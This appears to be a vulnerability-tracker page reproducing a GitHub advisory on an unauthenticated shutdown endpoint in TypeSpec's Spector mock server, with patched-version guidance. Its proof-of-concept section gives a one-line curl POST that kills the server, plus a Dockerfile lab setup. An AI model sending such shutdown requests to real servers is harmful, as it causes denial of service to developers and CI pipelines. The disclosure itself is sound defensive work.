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Response snapshot Oct 26, 2026, 22:12 UTC

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VulnerabilityGHSA-7q9c-hpx7-9cwm

TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop

`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.

Published Updated

At a glance

Exploited
Not known
Severity
Not scored yet
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: @typespec/spector: 0.1.0-alpha.27. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-7q9c-hpx7-9cwm (opens a new tab)

What happened

### Summary

`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.

0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**.

### Details

Continue reading

The vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:

```ts // packages/spector/src/routes/admin.ts:7-12 router.post(AdminUrls.stop, (_req, res) => { logger.info("Received signal to stop server. Exiting..."); res.status(202).end(); setTimeout(() => { process.exit(0); }); }); ```

The constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`).

The complete attack-reachable call chain is:

1. **`packages/spector/src/cli/cli.ts:139-166`** — `tsp-spector serve ` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default. 2. **`packages/spector/src/actions/serve.ts:28-33`** — constructs `MockApiApp` and calls `start()` without supplying a host argument. 3. **`packages/spector/src/app/app.

ts:39-40`** — registers `internalRouter` at `/`, which includes the admin routes. 4. **`packages/spector/src/routes/index.ts:4-5`** — mounts `adminRoutes` under `/`. 5. **`packages/spector/src/routes/admin.ts:7-12`** — the `POST /.admin/stop` handler (the sink) is reached with zero authentication. 6. **`packages/spector/src/server/server.ts:88`** — `this.app.listen(this.config.

port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces).

There is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed.

### PoC

**Prerequisites:**

``` git clone https://github.com/microsoft/typespec cd typespec # Checkout commit d88ddc16 (affected version 0.1.0-alpha.26) pnpm install pnpm build ```

**Step 1 — Start the mock server:**

```bash pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000 # Server listens on 0.0.0.0:3000 by default ```

Alternatively, use the provided Docker environment:

```bash # Build context: reports/npm_web_64_microsoft__typespec/ docker build -t vuln002-spector -f vuln-002/Dockerfile . docker run -d -p 3001:3000 --name vuln002-server vuln002-spector ```

**Step 2 — Execute the exploit (single unauthenticated request):**

```bash curl -i -X POST http:// :3000/.admin/stop ```

Using the provided PoC script:

```bash python3 vuln-002/poc.py --host 127.0.0.1 --port 3001 ```

**Step 3 — Observe the result:**

``` HTTP/1.1 202 Accepted ```

The server process immediately exits. Subsequent connection attempts are refused. Docker logs show:

``` info Received signal to stop server. Exiting... ```

Docker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step.

### Impact

This is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service.

The primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.

0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.

Although `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile # VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop # Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec) # CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High) # # Build context: reports/npm_web_64_microsoft__typespec/ # Build: docker build -t vuln002-spector -f vuln-002/Dockerfile . # Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector

FROM node:22-slim

# Install tsx to run TypeScript source files directly without compilation. # This lets us use the actual repository .ts files as-is. RUN npm install -g tsx@4

WORKDIR /poc

# Minimal package.json declaring ESM mode RUN echo '{"type":"module"}' > package.json

# Install only the npm packages actually used by the vulnerable code path: # express — web framework (admin.ts, routes/index.ts, server.ts) # picocolors — terminal colors (logger.ts) RUN npm install express picocolors

# ----------------------------------------------------------------------- # Copy the EXACT vulnerable source files from the repository. # No source file is modified — they are used verbatim. # -----------------------------------------------------------------------

# packages/spector/src/constants.ts # Defines AdminUrls.stop = "/.admin/stop" COPY repo/packages/spector/src/constants.ts ./spector/consta

Affected package ranges reported by GitHub: @typespec/spector: <= 0.1.0-alpha.26

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-7q9c-hpx7-9cwm (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  10. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  11. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 22). TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop. https://kevwire.com/record/GHSA-7q9c-hpx7-9cwm

MLA

"TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop." KEVWire, 22 Oct. 2026, kevwire.com/record/GHSA-7q9c-hpx7-9cwm.

Chicago

KEVWire. "TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop." Last modified October 22, 2026. https://kevwire.com/record/GHSA-7q9c-hpx7-9cwm.

Evidence summary (plain text)

TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop (Sep 4, 2026).
`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**.

The vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:
Sources:
GitHub-reviewed advisory GHSA-7q9c-hpx7-9cwm: https://github.com/advisories/GHSA-7q9c-hpx7-9cwm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNTo1Mjo1NlrOAAfxiA%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
Record ID: GHSA-7q9c-hpx7-9cwm.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 20:55 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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